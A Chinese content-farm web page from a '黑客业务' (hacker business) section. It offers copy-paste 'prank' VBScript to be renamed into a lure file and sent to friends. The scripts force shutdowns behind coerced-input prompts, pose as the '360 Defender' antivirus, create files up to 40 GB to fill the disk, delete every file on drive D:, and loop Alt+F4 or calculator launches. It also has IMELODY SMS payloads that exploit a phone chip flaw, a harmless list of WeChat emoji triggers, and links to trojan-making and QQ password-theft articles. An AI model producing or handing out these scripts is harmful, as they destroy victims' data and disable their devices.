当前位置：首页 > 黑客业务 > 正文内容

代码大全可复制免费手机恶搞（手机整人代码大全可复制）

hacker2年前 (2022-12-02)黑客业务114

文章大纲：

1、手机 *** 的整人代码大全
2、微信满屏表情代码大全复制
3、有没有一些恶搞别人的vbs代码
4、恶搞程序代码
5、安卓手机整人代码java大全
6、整人代码大全

手机 *** 的整人代码大全

之一步，将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自

第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）

如果谁运行了这个 *** 炸弹，在30秒后会自动关机。

下面说一下使用 *** ：

最简单的使用 *** 是，你直接发给好友，让他运行，然后他就中招了。

WScript.Echo("谁令你打开这个软件的")

WScript.Echo("这个软件会让你无聊啊！")

WScript.Echo("推荐你来的肯定是个坏蛋！")

WScript.Echo("欢迎来到被整软件站！")

WScript.Echo("是谁设计的？")

WScript.Echo("Is me")

WScript.Echo("你好，你要点30次确定哦！")

WScript.Echo("1")

WScript.Echo("2")

WScript.Echo("3")

WScript.Echo("begin")

微信满屏表情代码大全复制

飞吻：จุ๊บ、kisses and hugs、baci、cium(印尼版“么么哒”)、Besos(西班牙版“亲亲”)、XOXO、么么哒、亲亲

蛋糕：สุขสันต์วันเกิด、happy birthday、生日快乐、birthday

星星雨：คิดถึง、miss u、想你了、我想你、Te echo de menos(西班牙版“想你”)

火苗：红红火火

爆竹：新年快乐

钱袋：恭喜发财，招财进宝

星星：吉星高照，福星高照

桔子：大吉大利，吉祥如意，万事如意，万事大吉

苹果：一路平安，平平安安

鱼：年年有余，年年有鱼

糊脸表情：我爱你（适合愚人节发）

南瓜:万圣节快乐

彩蛋:感恩节快乐

圣诞树:圣诞快乐

康乃馨:母亲节快乐

男人头像:父亲节快乐

玫瑰花:love you，情人箭快典，情人节快乐，七夕

钻戒:嫁给我吧

爆竹:元宵节快乐

马头:马年快乐，马到成功，马到功成

火车: train，回家，火车，春运

红心：点个赞

微信满屏表情小技巧

1、复制这个字符代码“จุ๊บ”，然后粘贴到你的微信群昵称，设置成功后，只要群里面有人@你，就会有满屏下的表情。这个字符是泰文中“吻”的意思哦。上面其他的一些字符也可以试一试，同样的设置 *** 。

2、节日期间会有一些特殊的满屏表情掉落，比如愚人节打“我爱你”会掉糊脸表情，非常适合表白，被拒绝了还不尴尬；七夕打“我爱你”会掉粉红的心型礼物，“嫁给我吧”会掉钻戒。再就是打桃花运会掉桃花，打恭喜发财掉钱袋，春运、回家会出现小火车。还有下雪了、圣诞快乐等等，到时候大家可以试一试。

有很多隐藏的彩蛋表情，大家可以在聊天的时候多试一试。

微信8.0安卓版本更新特点

1.启动页面更改。

2.内置表情变得更大更有立体感。

3.在自带的表情包中添加了特殊表情的全屏动画，例如“炸弹”将具有爆炸效果，而“庆祝”将会放烟花。

4.调整了自带表情包的发送效果，默认发送的表情包比以前更大，并且会在1秒后缩小到正常大小。

5.增加了类似于 *** 的“我的状态”，用户可以选择心情状态，例如郁闷，发呆，数羊等。

有没有一些恶搞别人的vbs代码

自编vbs仅供娱乐！！！

set qstart = wscript.CreateObject("wscript.shell")

set qweb = CreateObject("Wscript.Shell")

set qwrite = CreateObject("scripting.filesystemobject")

set qsay = CreateObject("sapi.spvoice")

qstart.run "D:\病毒BGM.mp3" '《江南皮革厂倒闭了》

msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"

qstart.run "cmd.exe /c start appwiz.cpl"

qstart.run "cmd.exe /c start bthprops.cpl"

qstart.run "cmd.exe /c start calc.exe"

qstart.run "cmd.exe /c start cleanmgr.exe"

qstart.run "cmd.exe /c start cmd.exe"

qstart.run "cmd.exe /c start colorcpl.exe"

qstart.run "cmd.exe /c start control.exe"

qstart.run "cmd.exe /c start cttune.exe"

qstart.run "cmd.exe /c start desk.cpl"

qstart.run "cmd.exe /c start dfrgui.exe"

qstart.run "cmd.exe /c start dxdiag.exe"

qstart.run "cmd.exe /c start FileHistory.exe"

qstart.run "cmd.exe /c start Firewall.cpl"

qstart.run "cmd.exe /c start Fondue.exe"

qstart.run "cmd.exe /c start fontview.exe"

qstart.run "cmd.exe /c start fsquirt.exe"

qstart.run "cmd.exe /c start hdwwiz.cpl"

qstart.run "cmd.exe /c start inetcpl.cpl"

qstart.run "cmd.exe /c start intl.cpl"

qstart.run "cmd.exe /c start irprops.cpl"

qstart.run "cmd.exe /c start joy.cpl"

qstart.run "cmd.exe /c start LaunchTM.exe"

qstart.run "cmd.exe /c start Magnify.exe"

qstart.run "cmd.exe /c start main.cpl"

qstart.run "cmd.exe /c start mblctr.exe"

qstart.run "cmd.exe /c start mmsys.cpl"

qstart.run "cmd.exe /c start msinfo32.exe"

qstart.run "cmd.exe /c start mspaint.exe"

qstart.run "cmd.exe /c start ncpa.cpl"

qstart.run "cmd.exe /c start notepad.exe"

qstart.run "cmd.exe /c start powercfg.cpl"

qstart.run "cmd.exe /c start RTSnMg64.cpl"

qstart.run "cmd.exe /c start SnippingTool.exe"

qstart.run "cmd.exe /c start sysdm.cpl"

qstart.run "cmd.exe /c start TabletPC.cpl"

qstart.run "cmd.exe /c start telephon.cpl"

qstart.run "cmd.exe /c start timedate.cpl"

qstart.run "cmd.exe /c start write.exe"

qstart.run "cmd.exe /c start wscript.exe"

qstart.run "cmd.exe /c start wscui.cpl"

qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"

qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"

qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"

qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"

qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"

qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"

qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"

wscript.sleep 25000

qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true

qstart.run "cmd.exe /c echo 滚|clip"

A = INPUTBOX ("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。）","360 Defender","不是",8000,7000)

IF A = "是" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"

qweb.run""

loop

ELSEIF A = "不是" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么这么懒呢？",vbokonly+vbQuestion,"360 Defender"

msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是时候锻炼锻炼了",vbokonly+vbInformation,"360 Defender"

msgbox "游戏规则：在开始后，请及时点击 “确定” 键来取消关机。"+chr(13)+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation,"360 Defender"

qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true

msgbox "取消关机",vbokonly,"360 Defender"

qstart.run "cmd.exe /c shutdown -a",0,true

qweb.run""

loop

ELSEIF A = "" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "周鸿祎表示无语。"+chr(13)+chr(13)+chr(13)+"这样是不可能解决问题的",vbokonly,"360 Defender"

msgbox "自己探寻吧",vbokonly,"360 Defender"

qstart.run "cmd.exe /c shutdown -s -t 5",0,true

qstart.run "cmd"

qstart.run "cmd.exe /c shutdown -a",0,true

loop

ELSEIF A = "滚" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "emmmmmmmm",vbokonly,"360 Defender"

set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)

qwriteb.WriteLine "wscript.CreateObject(" chr(34) "wscript.shell" chr(34) ").run " chr(34) "D:\1.vbs" chr(34)

qwriteb.WriteLine "msgbox " chr(34) "滚" chr(34) ",vbokonly+vbinformation," chr(34) "360 Defender" chr(34)

qwriteb.close

qwrite.movefile "D:\1.txt","D:\1.vbs"

qstart.run "D:\1.vbs"

ELSE

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr(13)+chr(13)+"那现在先把C盘给抹咯！",vbokonly+vbInformation,"360 Defender"

qsay.speak ("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")

qweb.run""

qstart.run "cmd.exe /c shutdown -r -t 5",0,true

END IF

恶搞程序代码

代码如下，复制到记事本，将txt改为vbs就ok了，中间的字可自己改。

if MsgBox("对不起,您灌水太多需要重新启动计算机。"chr(10)"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then

msgbox " 正在清理系统垃圾wow ~_^",,"算你倒霉！！"

Set objShell = CreateObject("Wscript.Shell")

objShell.Run "shutdown -s -t 5",,true

end if

加分哦

安卓手机整人代码java大全

BEGBEGIN:IMELODY

VERSION:1.2

FORMAT:CLASS1.0

COMPOSER:MIK(23)Fomat

BEAT:180

MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff

("+melody+"@9999999999999999999999999)"

手机黑屏代码

BEGIN:IMELODY

BEAT:1200

MELODY:(ledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600)

END:IMELODY

手机狂震代码

BEGIN:IMELODY

VERSION:1.2

FORMAT:CLASS1.0

BEAT:100

MELODY:(ledoffledonbackoffbackonvibeon@0)

END:IMELODY

说明

1 “@”后面的数字越大，重复次数越多

2把上面代码复制，在计算机上保存为.txt文本文件，再改名为 .imy 文件

3 imy 放到手机里的Audio文件夹

4写短信(不是彩信) 写短信时, 插入 *** 对象(自定义 *** 对象，就是刚才放在audio 里的imy 文件) 并发送, 对方只要是存在这个芯片漏洞，那么则会产生上述所说效果.

整人代码大全

【代码一】

你打开好友的聊天对话框,然后记下在你 *** 里好友的昵称，把下面代码里的xx替换一下，就可以自定义发送 *** 信息到好友的次数(代码里的数字10改一下即可)。

代码如下：

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("与 xx 聊天中")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

wscript.quit

【代码二】

我就用这个程序放在学校图书馆查询书刊的机器上，好多人都拿它没办法。

msgbox "You are foolish!"

loop

【代码三】

打开无数个计算器，直到死机。

set wsh=createobject("wscript.shell")

wsh.run "calc"

loop

【代码四】

直接关机。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

【代码五】

删除D:\所有文件。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

【代码六】

不断弹出窗口

while(1)

msgbox "哈哈你被耍了！"

loop

【代码七】

不断按下alt+f4（开什么都关闭）。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

【代码八】

按500次回车（以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改）。

dim s

do until s=500

s=s+1

msgbox "哥们，给我按500次回车吧",64

loop

【代码九】

如果把他发给你的 *** 好友他不懂的话如果不输我是猪电脑就会在你设定的

时间内关机我设置的是3分钟只要输入就解除了当然如果不输的话也有解除的办法。代码如下:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true

dim a

do while(a "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"

【代码十】

网页整人效果代码，想看效果，只要复制这下面的所有代码保存在text文件里，修改文件后缀为txt就能看到效果了。

html

head

meta http-equiv="Content-Type" content="text/html; charset=gb2312"

title网页特效|Linkweb.cn/Js|---很恶心的常见整人效果/title

/head

body

a href="" onMouseover="alert('为什么把鼠标放到这里?');

alert('我不是说过不可以这样吗？');

alert('你把我的话当什么了？');

alert('你知道错了吗？');

alert('什么？你居然....');

alert('居然还没意识到自己做错了？');

alert('那好，你要为此付出代价!');

alert('我要你在这里点足一千下......');

alert('什么？你开始有点后悔了？');

alert('何必呢？');

alert('你当初干什么去了？');

alert('不原谅你！');

alert('好从现在开始再点995下......');

alert('你的手开始累了吗?');

alert('什么？你已经没力气了？');

alert('你一直在求我原谅你啊！');

alert('看来你是真的知道错了!');

alert('下次你还会这么做吗？');

alert('真的不会了？');

alert('那好，今天就放你一马！');

alert('写封信给我说声对不起!');

alert('你能这么做我很高兴!!!');

document.bgColor='black';

document.fgColor='White';

window.location.href='mailto:mygod@god?subject=对不起,下次不敢了!';"不许把鼠标移到这里/a

/body

/html

扫描二维码推送至手机访问。

本文链接：http://szlqgy.com/48093.html

标签: 代码大全可复制免费手机恶搞

返回列表

上一篇：制造木马病毒的软件下载（制造木马病毒的软件下载免费）

下一篇：怎么才能盗qq密码用手机（怎样盗密码方法手机）

“代码大全可复制免费手机恶搞（手机整人代码大全可复制）” 的相关文章

平凉市门户网（中国·平凉门户网站留言）

基本工资800元左右其他的各种津贴补贴奖金加起来每月能有2000元左右。当然是当地315了，平凉四中初三级学生在考试中取得了优异成绩，根据平凉市事业单位公开招聘人员实施办法。很高兴为你解答本次甘肃平凉事业单位考试报名时间及其他安排如下发布公告。3月中旬。决定组织实施我市2011年度事业单位公开招...

人民币持续大涨（人民币最终长）

交易时以银行柜台成交价为准，对中国的海外投资有利，是相对于美元而言。 cannotremainsilentlong、得益的是美国受害的是中国。人民币升值，||人民币升值的潜在好处对偿还外债有利，具新闻报道，人民币兑美元汇率创下新高，人民币兑美元持续贬值对股市的影响分两方面一是海外资金面撤离预期。在...

空气质量北京（北京现在有雾霾吗？）

没有雾霾，因为北京的雾霾很大，空气质量能保持优良。难得北京今天空气质量是优，非一日之寒。希望国家能解决北京的污染问题，不知道天气和空气质量如何，其中大多数天气不明显。北京一年的雾霾天大约有一半左右，夏天不具备这些条件，大约到11月6日前。明天晚上去坐火车去北京旅游几天，出行时要做好.。冰冻三尺...

高层次人才引进（2021年高层次人才引进）

民营企业，而事业单位招考是给正规的事业编制，所以并不是编制。就是一种政策，博士研究生，要不然你看好地方往往是上千上万人争一个职位，调动是有编制人员进行调动，主要困难有高层次人才引进的观念不新。每个地方每个级别单位招人的标准都不一样。在当前人才配置市场化的形式下，深圳新引进人才租房补贴条件具有全日...

便携式wifi（移动随身wifi怎么使用）

就是在行走过程中提供WiFi热点给用户使用，它只是一个类似路由器可随身携带的上网卡托而已，是通过无线移动路由器和无线运。流量卡。需要一张流量资费卡或电话卡。有两种方法、构成可以互相通信和实现资源共享的网络体系。不是说有了移动随身wifi就可以上网了哦，购买移动随身wifi。打开可以看到里面有一本说...

共享汽车app（首汽共享汽车app下载）

重庆用car2go，我用过几个品牌的共享汽车，wkr共享汽车每个地区的合作商应该比较多。我想知道这个图片上的共享汽车软件叫啥，注册也，共享汽车的还车点相对于小城市来讲比较少136共享汽车的投资比较大，价格2元到1元里程费，需要在手机客户端下载gofun出行”app，不管是上下班代步，whatgre...